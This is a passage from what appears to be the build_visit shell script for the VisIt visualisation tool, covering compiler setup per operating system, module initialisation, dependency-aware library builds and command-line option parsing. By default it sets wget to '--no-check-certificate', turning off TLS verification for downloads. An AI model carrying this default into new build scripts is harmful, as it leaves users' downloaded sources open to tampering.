C_OPT_FLAGS=${C_OPT_FLAGS:-\"-O2\"}\n export CXX_OPT_FLAGS=${CXX_OPT_FLAGS:-\"-O2\"}\n export MESA_TARGET=${MESA_TARGET:-\"linux\"}\n elif [[ \"$OPSYS\" == \"AIX\" ]]; then\n export ARCH=\"aix\" # You can change this to say RHEL, SuSE, Fedora, etc.\n export SO_EXT=\"a\"\n export C_COMPILER=${C_COMPILER:-\"xlc\"}\n export FC_COMPILER=${FC_COMPILER:-$(which xlf | grep '^/')}\n export CXX_COMPILER=${CXX_COMPILER:-\"xlC\"}\n export C_OPT_FLAGS=${C_OPT_FLAGS:-\"-O2\"}\n export CXX_OPT_FLAGS=${CXX_OPT_FLAGS:-\"-O2\"}\n export MAKE=${MAKE:-\"gmake\"}\n export MESA_TARGET=${MESA_TARGET:-\"aix\"}\n elif [[ \"$OPSYS\" == \"IRIX64\" ]]; then\n export ARCH=\"irix64\" # You can change this to say RHEL, SuSE, Fedora, etc.\n export SO_EXT=\"so\"\n export C_COMPILER=${C_COMPILER:-\"gcc\"}\n export FC_COMPILER=${FC_COMPILER:-$GFORTRAN}\n export CXX_COMPILER=${CXX_COMPILER:-\"g++\"}\n export C_OPT_FLAGS=${C_OPT_FLAGS:-\"-O2\"}\n export CXX_OPT_FLAGS=${CXX_OPT_FLAGS:-\"-O2\"}\n export MAKE=${MAKE:-\"gmake\"}\n export MESA_TARGET=${MESA_TARGET:-\"irix6-64-dso\"}\n elif [[ \"$OPSYS\" == \"SunOS\" ]]; then\n export ARCH=${ARCH:-\"sunos5\"}\n export SO_EXT=\"so\"\n export C_COMPILER=${C_COMPILER:-\"gcc\"}\n export FC_COMPILER=${FC_COMPILER:-$GFORTRAN}\n export CXX_COMPILER=${CXX_COMPILER:-\"g++\"}\n export C_OPT_FLAGS=${C_OPT_FLAGS:-\"-O2\"}\n export CXX_OPT_FLAGS=${CXX_OPT_FLAGS:-\"-O2\"}\n export MAKE=${MAKE:-\"make\"}\n export MESA_TARGET=${MESA_TARGET:-\"sunos5-gcc\"}\n else\n export ARCH=${ARCH:-\"linux-$(uname -m)\"} # You can change this to say RHEL, SuSE, Fedora.\n export SO_EXT=\"so\"\n if [[ \"$(uname -m)\" == \"x86_64\" ]] ; then\n CFLAGS=\"$CFLAGS -m64 -fPIC\"\n FCFLAGS=\"$FCFLAGS -m64 -fPIC\"\n if [[ \"$C_COMPILER\" == \"gcc\" || \"$C_COMPILER\" == \"\" ]]; then\n C_OPT_FLAGS=\"$C_OPT_FLAGS -O2\"\n fi\n CXXFLAGS=\"$CXXFLAGS -m64 -fPIC\"\n if [[ \"$CXX_COMPILER\" == \"g++\" || \"$CXX_COMPILER\" == \"\" ]]; then\n CXX_OPT_FLAGS=\"$CXX_OPT_FLAGS -O2\"\n fi\n fi\n if [[ \"$(uname -m)\" == \"ia64\" ]] ; then\n CFLAGS=\"$CFLAGS -fPIC\"\n FCFLAGS=\"$FCFLAGS -fPIC\"\n if [[ \"$C_COMPILER\" == \"gcc\" || \"$C_COMPILER\" == \"\" ]]; then\n C_OPT_FLAGS=\"$C_OPT_FLAGS -O2\"\n fi\n CXXFLAGS=\"$CXXFLAGS -fPIC\"\n if [[ \"$CXX_COMPILER\" == \"g++\" || \"$CXX_COMPILER\" == \"\" ]]; then\n CXX_OPT_FLAGS=\"$CXX_OPT_FLAGS -O2\"\n fi\n fi\n export C_COMPILER=${C_COMPILER:-\"gcc\"}\n export FC_COMPILER=${FC_COMPILER:-$GFORTRAN}\n export CXX_COMPILER=${CXX_COMPILER:-\"g++\"}\n export C_OPT_FLAGS=${C_OPT_FLAGS:-\"-O2\"}\n export CXX_OPT_FLAGS=${CXX_OPT_FLAGS:-\"-O2\"}\n fi\n\n export MAKE=${MAKE:-\"make\"}\n export THIRD_PARTY_PATH=${THIRD_PARTY_PATH:-\"./third_party\"}\n export GROUP=${GROUP:-\"visit\"}\n #export LOG_FILE=${LOG_FILE:-\"${0##*/}_log\"}\n export GITREVISION=${GITREVISION:-\"HEAD\"}\n # Created a temporary value because the user can override most of\n # the components, which for the GUI happens at a later time.\n # the tmp value is useful for user feedback.\n if [[ $VISITARCH == \"\" ]] ; then\n export VISITARCHTMP=${ARCH}_${C_COMPILER}\n if [[ \"$CXX_COMPILER\" == \"g++\" ]] ; then\n VERSION=$(g++ -v 2>&1 | grep \"gcc version\" | cut -d' ' -f3 | cut -d'.' -f1-2)\n if [[ ${#VERSION} == 3 ]] ; then\n VISITARCHTMP=${VISITARCHTMP}-${VERSION}\n fi\n fi\n else\n # use environment variable value\n export VISITARCHTMP=$VISITARCH\n fi\n\n REDIRECT_ACTIVE=\"no\"\n ANY_ERRORS=\"no\"\n\n #initialize VisIt\n bv_visit_initialize\n\n #\n # OPTIONS\n #\n #initialize required libraries..\n\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n initializeFunc=\"bv_${reqlibs[$bv_i]}_initialize\"\n $initializeFunc\n done\n\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n initializeFunc=\"bv_${optlibs[$bv_i]}_initialize\"\n $initializeFunc\n done\n\n export DO_HOSTCONF=\"yes\"\n export DO_QT_SILENT=\"yes\"\n\n export DO_DEBUG=\"no\"\n export DO_GROUP=\"no\"\n export DO_LOG=\"no\"\n parallel=\"no\"\n export DO_GIT=\"no\"\n export DO_GIT_ANON=\"no\"\n export DO_REVISION=\"no\"\n USE_VISIT_FILE=\"no\"\n export DO_PATH=\"no\"\n export DO_VERSION=\"no\"\n export DO_VERBOSE=\"no\"\n export DO_JAVA=\"no\"\n export DO_FORTRAN=\"no\"\n export DO_PARADIS=\"no\"\n export PREVENT_ICET=\"no\"\n verify=\"no\"\n export DO_OPTIONAL=\"yes\"\n export DO_OPTIONAL2=\"no\"\n export DO_MORE=\"no\"\n export DO_DBIO_ONLY=\"no\"\n export DO_ENGINE_ONLY=\"no\"\n export DO_SERVER_COMPONENTS_ONLY=\"no\"\n export DO_STATIC_BUILD=\"no\"\n export DO_THREAD_BUILD=\"no\"\n export USE_VISIBILITY_HIDDEN=\"no\"\n export VISIT_INSTALL_PREFIX=\"\"\n export VISIT_BUILD_MODE=\"Release\"\n export VISIT_SELECTED_DATABASE_PLUGINS=\"\"\n export DO_XDB=\"no\"\n export CREATE_RPM=\"no\"\n export DO_CONTEXT_CHECK=\"yes\"\n export VISIT_INSTALL_NETWORK=\"\"\n DOWNLOAD_ONLY=\"no\"\n\n\n if [[ \"$CXX_COMPILER\" == \"g++\" ]] ; then\n VERSION=$(g++ -v 2>&1 | grep \"gcc version\" | cut -d' ' -f3 | cut -d'.' -f1-1)\n if [[ ${VERSION} -ge 4 ]] ; then\n export USE_VISIBILITY_HIDDEN=\"yes\"\n fi\n fi\n\n\n # Setup git path\n export GIT_ANON_ROOT_PATH=\"http://github.com/visit-dav/visit.git\"\n export GIT_REPO_ROOT_PATH=\"ssh://git@github.com/visit-dav/visit.git\"\n\n\n if [[ \"$OPSYS\" != \"Darwin\" ]]; then\n WGET_MINOR_VERSION=$(wget --version| head -n 1|cut -d. -f 2)\n # version 1.7 pre-dates ssl integration\n if [[ \"${WGET_MINOR_VERSION}\" == \"8\" ]] ; then\n export WGET_OPTS=${WGET_OPTS=\"\"}\n elif [[ \"${WGET_MINOR_VERSION}\" == \"9\" ]] ; then\n export WGET_OPTS=${WGET_OPTS:=\"--sslcheckcert=0\"}\n else\n export WGET_OPTS=${WGET_OPTS:-\"--no-check-certificate\"}\n fi\n fi\n\n\n #get visit information..\n bv_visit_info\n\n #\n # TARBALL LOCATIONS AND VERSIONS\n #\n if [[ \"$VISIT_FILE\" != \"\" ]] ; then\n USE_VISIT_FILE=\"yes\"\n fi\n export VISIT_FILE=${VISIT_FILE:-\"visit${VISIT_VERSION}.tar.gz\"}\n\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n initializeFunc=\"bv_${reqlibs[$bv_i]}_info\"\n $initializeFunc\n done\n\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n initializeFunc=\"bv_${optlibs[$bv_i]}_info\"\n $initializeFunc\n done\n\n\n WRITE_UNIFIED_FILE=\"\"\n VISIT_INSTALLATION_BUILD_DIR=\"\"\n VISIT_DRY_RUN=\"no\"\n DO_SUPER_BUILD=\"no\"\n DO_MANGLED_LIBRARIES=\"no\"\n}\n\n\n\n\n# *************************************************************************** #\n# Function: starts_with_quote #\n# #\n# Purpose: Meant to be used in `if $(starts_with_quote \"$var\") ; then` #\n# conditionals. #\n# #\n# Programmer: <NAME> #\n# Date: Thu Oct 9 15:24:04 MDT 2008 #\n# #\n# *************************************************************************** #\n\nfunction starts_with_quote\n{\n if test \"${1:0:1}\" = \"\\\"\"; then #\"\n return 0\n fi\n if test \"${1:0:1}\" = \"'\" ; then\n return 0\n fi\n return 1\n}\n\n# *************************************************************************** #\n# Function: ends_with_quote #\n# #\n# Purpose: Meant to be used `if $(ends_with_quote \"$var\") ; then` #\n# conditionals. #\n# #\n# Programmer: <NAME> #\n# Date: Thu Oct 9 15:24:13 MDT 2008 #\n# #\n# *************************************************************************** #\n\nfunction ends_with_quote\n{\n if test \"${1: -1:1}\" = \"\\\"\"; then #\"\n return 0\n fi\n if test \"${1: -1:1}\" = \"'\"; then\n return 0\n fi\n return 1\n}\n\n# *************************************************************************** #\n# Function: strip_quotes #\n# #\n# Purpose: Removes all quotes from the given argument. Meant to be used in #\n# $(strip_quotes \"$some_string\") expressions. #\n# #\n# Programmer: <NAME> #\n# Date: Thu Oct 9 16:04:25 MDT 2008 #\n# #\n# *************************************************************************** #\n\nfunction strip_quotes\n{\n local arg=\"$@\"\n str=\"\"\n while test -n \"$arg\" ; do\n if test \"${arg:0:1}\" != \"\\\"\" ; then\n str=\"${str}${arg:0:1}\"\n fi\n arg=\"${arg:1}\"\n done\n echo \"${str}\"\n}\n\nfunction bv_enable_group\n{\n local name=${1/--}\n local match=0\n\n for (( bv_i=0; bv_i < ${#grouplibs_name[*]}; ++bv_i ))\n do\n #replace | with space\n group_flag=${grouplibs_name[$bv_i]}\n group_flag=${group_flag//\\|/ }\n for group in `echo $group_flag`;\n do\n if [[ \"$group\" == \"$name\" ]]; then\n echo \"executing group $name\"\n if [[ \"$group\" == \"dbio-only\" ]]; then\n DO_DBIO_ONLY=\"yes\"\n fi\n match=1\n for group_dep in `echo ${grouplibs_deps[$bv_i]}`;\n do\n if [[ \"$group_dep\" == no-* ]]; then\n group_dep=${group_dep/no-}\n #info \"disabling $group_dep\"\n initializeFunc=\"bv_${group_dep}_disable\"\n $initializeFunc\n else\n #info \"enabling $group_dep\"\n initializeFunc=\"bv_${group_dep}_enable\"\n $initializeFunc\n fi\n done\n fi\n done\n done\n\n return $match\n}\n\nfunction enable_dependent_libraries\n{\n local depends_on=\"\"\n\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n $\"bv_${reqlibs[$bv_i]}_is_enabled\"\n\n #if not enabled then skip\n if [[ $? == 0 ]]; then\n continue\n fi\n\n #enabled library, check dependencies..\n depends_on=$(\"bv_${reqlibs[$bv_i]}_depends_on\")\n\n #replace commas with spaces if there are any..\n depends_on=${depends_on//,/ }\n\n for depend_lib in `echo $depends_on`;\n do\n $\"bv_${depend_lib}_is_enabled\"\n if [[ $? == 0 ]]; then\n error \"ERROR: library ${depend_lib} was not set ${reqlibs[$bv_i]} depends on it, please enable\"\n #echo \"library ${depend_lib} was not set but another library depends on it, enabling it\"\n #$\"bv_${depend_lib}_enable\"\n fi\n done\n done\n\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n $\"bv_${optlibs[$bv_i]}_is_enabled\"\n\n #if not enabled then skip\n if [[ $? == 0 ]]; then\n continue\n fi\n\n #enabled library, check dependencies..\n depends_on=$(\"bv_${optlibs[$bv_i]}_depends_on\")\n\n #replace commas with spaces if there are any..\n depends_on=${depends_on//,/ }\n\n for depend_lib in `echo $depends_on`;\n do\n $\"bv_${depend_lib}_is_enabled\"\n if [[ $? == 0 ]]; then\n error \"ERROR: library ${depend_lib} was not set ${optlibs[$bv_i]} depends on it, please enable\"\n echo \"library ${depend_lib} was not set but another library depends on it, enabling it\"\n $\"bv_${depend_lib}_enable\"\n fi\n done\n done\n}\n\n#TODO: enable this feature and remove this from ensure..\nfunction initialize_module_variables\n{\n info \"initializing module variables\"\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n $\"bv_${reqlibs[$bv_i]}_is_enabled\"\n\n #if not enabled then skip\n if [[ $? == 0 ]]; then\n continue\n fi\n\n declare -F \"bv_${reqlibs[$bv_i]}_initialize_vars\" &>/dev/null\n\n if [[ $? == 0 ]]; then\n info \"initialize module variables for ${reqlibs[$bv_i]}\"\n $\"bv_${reqlibs[$bv_i]}_initialize_vars\"\n fi\n done\n\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n $\"bv_${optlibs[$bv_i]}_is_enabled\"\n\n #if not enabled then skip\n if [[ $? == 0 ]]; then\n continue\n fi\n\n declare -F \"bv_${optlibs[$bv_i]}_initialize_vars\" &>/dev/null\n\n if [[ $? == 0 ]]; then\n info \"initialize module variables for ${optlibs[$bv_i]}\"\n $\"bv_${optlibs[$bv_i]}_initialize_vars\"\n fi\n done\n}\n\n\nfunction build_library\n{\n local build_lib=$1\n local depends_on=\"\"\n\n #check if library is already installed..\n $\"bv_${build_lib}_is_installed\"\n\n if [[ $? == 1 ]]; then\n info \"$build_lib is already installed, skipping\"\n return\n fi\n\n #Make sure that the recursive enable feature is working properly\n $\"bv_${build_lib}_is_enabled\"\n\n if [[ $? == 0 ]]; then\n error \"$build_lib was disabled, but seems that another library requires it \"\n fi\n\n depends_on=$(\"bv_${build_lib}_depends_on\")\n\n if [[ $depends_on != \"\" ]]; then\n info \"library $build_lib depends on $depends_on\"\n fi\n\n #replace commas with spaces if there are any..\n depends_on=${depends_on//,/ }\n\n for depend_lib in `echo $depends_on`;\n do\n build_library $depend_lib\n done\n\n #build ..\n $\"bv_${build_lib}_build\"\n}\n\nfunction build_libraries_serial\n{\n info \"building required libraries\"\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n $\"bv_${reqlibs[$bv_i]}_is_enabled\"\n\n if [[ $? == 0 ]]; then\n continue\n fi\n\n $\"bv_${reqlibs[$bv_i]}_is_installed\"\n\n if [[ $? == 0 ]]; then\n cd \"$START_DIR\"\n build_library ${reqlibs[$bv_i]}\n else\n info \"${reqlibs[$bv_i]} already installed, skipping\"\n fi\n done\n\n info \"building optional libraries\"\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n $\"bv_${optlibs[$bv_i]}_is_enabled\"\n\n if [[ $? == 0 ]]; then\n continue\n fi\n\n $\"bv_${optlibs[$bv_i]}_is_installed\"\n\n if [[ $? == 0 ]]; then\n cd \"$START_DIR\"\n build_library ${optlibs[$bv_i]}\n else\n info \"${optlibs[$bv_i]} already installed, skipping\"\n fi\n done\n}\n\nfunction build_libraries_parallel\n{\n #launch all non dependent libraries in parallel..\n info \"building parallel required libraries\"\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n $\"bv_${reqlibs[$bv_i]}_is_enabled\"\n\n if [[ $? == 0 ]]; then\n continue\n fi\n\n $\"bv_${reqlibs[$bv_i]}_is_installed\"\n if [[ $? == 0 ]]; then\n\n depends_on=$(\"bv_${reqlibs[$bv_i]}_depends_on\")\n if [[ \"$depends_on\" == \"\" ]]; then\n (cd \"$START_DIR\" && build_library ${reqlibs[$bv_i]}) &\n fi\n else\n info \"${reqlibs[$bv_i]} already installed, skipping\"\n fi\n done\n\n wait\n\n #load the serial ones..\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n $\"bv_${reqlibs[$bv_i]}_is_enabled\"\n\n if [[ $? == 0 ]]; then\n continue\n fi\n\n $\"bv_${reqlibs[$bv_i]}_is_installed\"\n\n if [[ $? == 0 ]]; then\n cd \"$START_DIR\"\n build_library ${reqlibs[$bv_i]}\n else\n info \"${reqlibs[$bv_i]} already installed, skipping\"\n fi\n done\n\n info \"building parallel optional libraries\"\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n $\"bv_${optlibs[$bv_i]}_is_enabled\"\n\n if [[ $? == 0 ]]; then\n continue\n fi\n $\"bv_${optlibs[$bv_i]}_is_installed\"\n if [[ $? == 0 ]]; then\n\n depends_on=$(\"bv_${optlibs[$bv_i]}_depends_on\")\n if [[ \"$depends_on\" == \"\" ]]; then\n (cd \"$START_DIR\" && build_library ${optlibs[$bv_i]}) &\n fi\n else\n info \"${optlibs[$bv_i]} already installed, skipping\"\n fi\n done\n\n wait\n\n #load serial\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n $\"bv_${optlibs[$bv_i]}_is_enabled\"\n\n if [[ $? == 0 ]]; then\n continue\n fi\n\n $\"bv_${optlibs[$bv_i]}_is_installed\"\n\n if [[ $? == 0 ]]; then\n cd \"$START_DIR\"\n build_library ${optlibs[$bv_i]}\n else\n info \"${optlibs[$bv_i]} already installed, skipping\"\n fi\n done\n\n}\n\n# *************************************************************************** #\n# Section 2, building VisIt #\n# --------------------------------------------------------------------------- #\n# This section does some set up for building VisIt, and then calls the #\n# functions to build the third party libraries and VisIt itself. #\n# *************************************************************************** #\nfunction run_build_visit()\n{\n declare -a arguments\n\n # Will be set if the next argument is an argument to an argument (I swear that\n # makes sense). Make sure to unset it after pulling the argument!\n next_arg=\"\"\n # If the user gives any deprecated options, we'll append command line options\n # we think they should use here.\n deprecated=\"\"\n # A few options require us to perform some action before we start building\n # things, but we'd like to finish option parsing first. We'll set this\n # variable in those cases, and test it when we finish parsing.\n next_action=\"\"\n\n #handle groups first since they affect multiple libraries..\n for arg in \"$@\" ;\n do\n bv_enable_group \"$arg\"\n #not part of a group, add to argument list..\n if [[ $? == 0 ]]; then\n local match=0\n\n #suppress licenses from argument list\n for license in `echo $defaultLicenses`\n do\n if [[ \"${arg/--}\" == \"$license\" ]]; then\n match=1\n break\n fi\n done\n\n #suppress licenses as well..\n if [[ $match == 0 ]]; then\n arguments[${#arguments[*]}]=\"$arg\"\n fi\n fi\n done\n\n for arg in \"${arguments[@]}\" ; do\n\n # Was the last option something that took an argument?\n if test -n \"$next_arg\" ; then\n # Yep. Which option was it?\n case $next_arg in\n extra_commandline_arg) $EXTRA_COMMANDLINE_ARG_CALL \"$arg\";;\n visit-build-hostname) EXTERNAL_HOSTNAME=\"$arg\";;\n installation-build-dir) VISIT_INSTALLATION_BUILD_DIR=\"$arg\";;\n write-unified-file) WRITE_UNIFIED_FILE=\"$arg\";;\n append-cflags) C_OPT_FLAGS=\"${C_OPT_FLAGS} ${arg}\";;\n append-cxxflags) CXX_OPT_FLAGS=\"${CXX_OPT_FLAGS} ${arg}\";;\n arch) VISITARCH=\"${arg}\";;\n build-mode) VISIT_BUILD_MODE=\"${arg}\";;\n cflags) C_OPT_FLAGS=\"${arg}\";;\n cxxflags) CXX_OPT_FLAGS=\"${arg}\";;\n cc) C_COMPILER=\"${arg}\";;\n cxx) CXX_COMPILER=\"${arg}\";;\n database-plugins) VISIT_SELECTED_DATABASE_PLUGINS=\"${arg}\";;\n fc) FC_COMPILER=\"${arg}\"; DO_FORTRAN=\"yes\";;\n log-file) LOG_FILE=\"${arg}\";;\n makeflags) MAKE_OPT_FLAGS=\"${arg}\";;\n prefix) VISIT_INSTALL_PREFIX=\"${arg}\";;\n install-network) VISIT_INSTALL_NETWORK=\"${arg}\";;\n group) GROUP=\"${arg}\";;\n git) GITREVISION=\"${arg}\";;\n tarball) VISIT_FILE=\"${arg}\";;\n thirdparty-path) THIRD_PARTY_PATH=\"${arg}\";;\n version) VISIT_VERSION=\"${arg}\"\n VISIT_FILE=\"visit${VISIT_VERSION}.tar.gz\";;\n *) error \"Unknown next_arg value '$next_arg'!\"\n esac\n # Make sure we process the next option as an option and not an\n # argument to an option.\n next_arg=\"\"\n continue\n fi\n\n if [[ ${#arg} -gt 2 ]] ; then #has --\n\n #one module at a time\n resolve_arg=${arg:2} #remove --\n declare -F \"bv_${resolve_arg}_enable\" &>/dev/null\n\n if [[ $? == 0 ]] ; then\n #echo \"enabling $resolve_arg\"\n initializeFunc=\"bv_${resolve_arg}_enable\"\n #argument is being explicitly set by the user so add a \"force\" flag\n $initializeFunc force\n continue\n elif [[ ${#resolve_arg} -gt 3 ]] ; then #in case it is --no-\n resolve_arg_no_opt=${resolve_arg:3}\n #disable library if it does not exist..\n declare -F \"bv_${resolve_arg_no_opt}_disable\" &>/dev/null\n if [[ $? == 0 ]] ; then\n #echo \"disabling ${resolve_arg_no_opt}\"\n initializeFunc=\"bv_${resolve_arg_no_opt}_disable\"\n $initializeFunc\n #if disabling icet, prevent it as well\n if [[ ${resolve_arg_no_opt} == \"icet\" ]]; then\n echo \"preventing icet from starting\"\n PREVENT_ICET=\"yes\"\n fi\n continue\n fi\n fi\n\n #command line arguments created by modules\n #checking to see if additional command line arguments were requested\n resolve_arg=${arg:2} #remove --\n local match=0\n for (( bv_i=0; bv_i<${#extra_commandline_args[*]}; bv_i += 5 ))\n do\n local module_name=${extra_commandline_args[$bv_i]}\n local command=${extra_commandline_args[$bv_i+1]}\n local args=${extra_commandline_args[$bv_i+2]}\n local comment=${extra_commandline_args[$bv_i+3]}\n local fp=${extra_commandline_args[$bv_i+4]}\n if [[ \"$command\" == \"$resolve_arg\" ]]; then\n if [ $args -eq 0 ] ; then\n #call function immediately\n $fp\n else\n #call function with next argument\n next_arg=\"extra_commandline_arg\"\n EXTRA_COMMANDLINE_ARG_CALL=\"$fp\"\n fi\n match=1\n break;\n fi\n done\n\n #found a match in the modules..\n if [[ $match -eq 1 ]]; then\n continue\n fi\n fi\n\n\n case $arg in\n --visit-build-hostname) next_arg=\"visit-build-hostname\";;\n --installation-build-dir) next_arg=\"installation-build-dir\";;\n --write-unified-file) next_arg=\"write-unified-file\";;\n --parallel-build) DO_SUPER_BUILD=\"yes\";;\n --dry-run) VISIT_DRY_RUN=\"yes\";;\n --arch) next_arg=\"arch\";;\n --build-mode) next_arg=\"build-mode\";;\n --cflag) next_arg=\"append-cflags\";;\n --cflags) next_arg=\"cflags\";;\n --cxxflag) next_arg=\"append-cxxflags\";;\n --cxxflags) next_arg=\"cxxflags\";;\n --cc) next_arg=\"cc\";;\n --cxx) next_arg=\"cxx\";;\n --create-rpm) CREATE_RPM=\"yes\";;\n --log-file) next_arg=\"log-file\";;\n --database-plugins) next_arg=\"database-plugins\";;\n --debug) C_OPT_FLAGS=\"${C_OPT_FLAGS} -g\"; CXX_OPT_FLAGS=\"${CXX_OPT_FLAGS} -g\"; VISIT_BUILD_MODE=\"Debug\";;\n --bv-debug) set -vx;;\n --download-only) DOWNLOAD_ONLY=\"yes\";;\n --engine-only) DO_ENGINE_ONLY=\"yes\";;\n --flags-debug) C_OPT_FLAGS=\"${C_OPT_FLAGS} -g\"; CXX_OPT_FLAGS=\"${CXX_OPT_FLAGS} -g\"; VISIT_BUILD_MODE=\"Debug\";;\n --gdal) DO_GDAL=\"yes\";;\n --fc) next_arg=\"fc\";;\n --fortran) DO_FORTRAN=\"yes\";;\n --group) next_arg=\"group\"; DO_GROUP=\"yes\";;\n -h|--help) next_action=\"help\";;\n --install-network) next_arg=\"install-network\";;\n --java) DO_JAVA=\"yes\";;\n --makeflags) next_arg=\"makeflags\";;\n --no-hostconf) DO_HOSTCONF=\"no\";;\n --no-boost) DO_BOOST=\"no\";;\n --no-qt-silent) DO_QT_SILENT=\"no\";;\n --parallel) parallel=\"yes\"; DO_ICET=\"yes\";;\n --prefix) next_arg=\"prefix\";;\n --print-vars) next_action=\"print-vars\";;\n --server-components-only) DO_SERVER_COMPONENTS_ONLY=\"yes\";;\n --paradis) DO_PARADIS=\"yes\";;\n --static) DO_STATIC_BUILD=\"yes\"\n export USE_VISIBILITY_HIDDEN=\"no\"\n CXXFLAGS=$(echo $CXXFLAGS | sed \"s/-fPIC//g\")\n CFLAGS=$(echo $CFLAGS | sed \"s/-fPIC//g\")\n ;;\n --thread) DO_THREAD_BUILD=\"yes\";;\n --stdout) LOG_FILE=\"/dev/tty\";;\n --git) DO_GIT=\"yes\"; export GIT_ROOT_PATH=$GIT_REPO_ROOT_PATH;;\n --git-anon) DO_GIT=\"yes\"; DO_GIT_ANON=\"yes\" ; export GIT_ROOT_PATH=$GIT_ANON_ROOT_PATH ;;\n --git-anonymous) DO_GIT=\"yes\"; DO_GIT_ANON=\"yes\" ; export GIT_ROOT_PATH=$GIT_ANON_ROOT_PATH ;;\n --git-revision) next_arg=\"git\"; DO_GIT=\"yes\"; DO_REVISION=\"yes\"; DO_GIT_ANON=\"yes\" ; export GIT_ROOT_PATH=$GIT_ANON_ROOT_PATH ;;\n --tarball) next_arg=\"tarball\"\n USE_VISIT_FILE=\"yes\";;\n --thirdparty-path) next_arg=\"thirdparty-path\";;\n --version) next_arg=\"version\";;\n --xdb) DO_XDB=\"yes\";;\n --console) ;;\n --skip-opengl-context-check) DO_CONTEXT_CHECK=\"no\";;\n *)\n echo \"Unrecognized option '${arg}'.\"\n ANY_ERRORS=\"yes\";;\n esac\n done\n\n #error check to make sure that next arg is not left blank..\n if [[ $next_arg != \"\" ]] ; then\n echo \"command line arguments are used incorrectly: argument $next_arg not fullfilled\"\n exit 1\n fi\n\n if [[ \"$ANY_ERRORS\" == \"yes\" ]] ; then\n echo \"command line arguments are used incorrectly. unrecognized options...\"\n exit 1\n fi\n\n if test -n \"${deprecated}\" ; then\n summary=\"You are using some deprecated options to $0. Please re-run\"\n summary=\"${summary} $0 with a command line similar to:\"\n echo \"$summary\"\n echo \"\"\n echo \"$0 ${deprecated}\"\n exit 1\n fi\n\n if test -n \"${next_action}\" ; then\n case ${next_action} in\n print-vars) printvariables; exit 2;;\n help) usage; exit 2;;\n esac\n fi\n\n #\n # Echo the current invocation command line to the log file\n #\n info \"[build_visit invocation arguments] $@\"\n\n\n #\n # Write a unified file\n #\n if [[ $WRITE_UNIFIED_FILE != \"\" ]] ; then\n bv_write_unified_file $WRITE_UNIFIED_FILE\n exit 0\n fi\n\n #\n # If we doing a trunk build then make sure we are using GIT\n #\n if [[ \"$TRUNK_BUILD\" == \"yes\" ]]; then\n if [[ \"$DO_GIT\" == \"no\" ]]; then\n DO_GIT=\"yes\"\n DO_GIT_ANON=\"yes\"\n export GIT_ROOT_PATH=$GIT_ANON_ROOT_PATH\n fi\n fi\n\n check_minimum_compiler_version\n\n if [[ \"$OPSYS\" != \"Darwin\" && $DO_MESAGL == \"no\" && $DO_CONTEXT_CHECK != \"no\" && $DO_DBIO_ONLY == \"no\" ]] ; then \n if [[ $DO_VTK == \"yes\" || $DO_VISIT == \"yes\" ]] ; then\n check_opengl_context\n fi\n fi\n\n #\n # If we are AIX, make sure we are using GNU tar.\n #\n if [[ \"$OPSYS\" == \"AIX\" ]]; then\n TARVERSION=$($TAR --version >/dev/null 2>&1)\n if [[ $? != 0 ]] ; then\n echo \"Error in build process. You are using the system tar on AIX.\"\n echo \"Change the TAR variable in the script to the location of the\"\n echo \"GNU tar command.\"\n exit 1\n fi\n fi\n\n # Disable fortran support unless --fortran specified and a fortran compiler\n # was specified or found.\n if [[ $DO_FORTRAN == \"no\" || $FC_COMPILER == \"\" ]]; then\n export FC_COMPILER=\"no\";\n warn \"Fortran support for thirdparty libraries disabled.\"\n fi\n\n # make all VisIt related builds in its own directory..\n if [[ $VISIT_INSTALLATION_BUILD_DIR != \"\" ]] ; then\n if [[ -d $VISIT_INSTALLATION_BUILD_DIR ]]; then\n echo \"Using already existing directory: $VISIT_INSTALLATION_BUILD_DIR\"\n else\n mkdir -p $VISIT_INSTALLATION_BUILD_DIR\n fi\n\n if [[ ! -d $VISIT_INSTALLATION_BUILD_DIR ]]; then\n echo \"Directory does not exist or I do not have permission to create it. Quitting\"\n exit 0\n fi\n cd $VISIT_INSTALLATION_BUILD_DIR\n fi\n\n #\n # Log build_visit invocation w/ arguments & the start time.\n # Especially helpful if there are multiple starts dumped into the\n # same log.\n #\n LINES=\"------------------------------------------------------------\"\n log $LINES\n log $0 $@\n log \"Started:\" $(date)\n log $LINES\n\n if [[ \"$DO_GIT\" == \"yes\" ]] ; then\n check_git_client\n if [[ $? != 0 ]]; then\n error \"Fatal Error: GIT mode selected, but git client is not available.\"\n fi\n fi\n\n #enabling any dependent libraries, handles both dependers and dependees..\n #TODO: handle them seperately\n info \"enabling any dependent libraries\"\n enable_dependent_libraries\n\n # At this point we are after the command line and the visual selection\n # dry run, don't execute anything just run the enabled stuff..\n # happens before any downloads have taken place..\n if [[ $VISIT_DRY_RUN == \"yes\" ]]; then\n for (( bv_i=0; bv_i<${#reqlibs[*]}; ++bv_i ))\n do\n initializeFunc=\"bv_${reqlibs[$bv_i]}_dry_run\"\n $initializeFunc\n done\n\n for (( bv_i=0; bv_i<${#optlibs[*]}; ++bv_i ))\n do\n initializeFunc=\"bv_${optlibs[$bv_i]}_dry_run\"\n $initializeFunc\n done\n\n bv_visit_dry_run\n exit 0\n fi\n\n START_DIR=\"$PWD\"\n\n if [[ \"$DOWNLOAD_ONLY\" == \"no\" ]] ; then\n if [[ ! -d \"$THIRD_PARTY_PATH\" ]] ; then\n if [[ \"$THIRD_PARTY_PATH\" == \"./visit\" ]] ; then\n mkdir \"$THIRD_PARTY_PATH\"\n if [[ $? != 0 ]] ; then\n error \"Unable to write files to the third party library location.\" \\\n \"Bailing out.\"\n fi\n else\n info \"The third party library location does not exist. Create it?\"\n read RESPONSE\n if 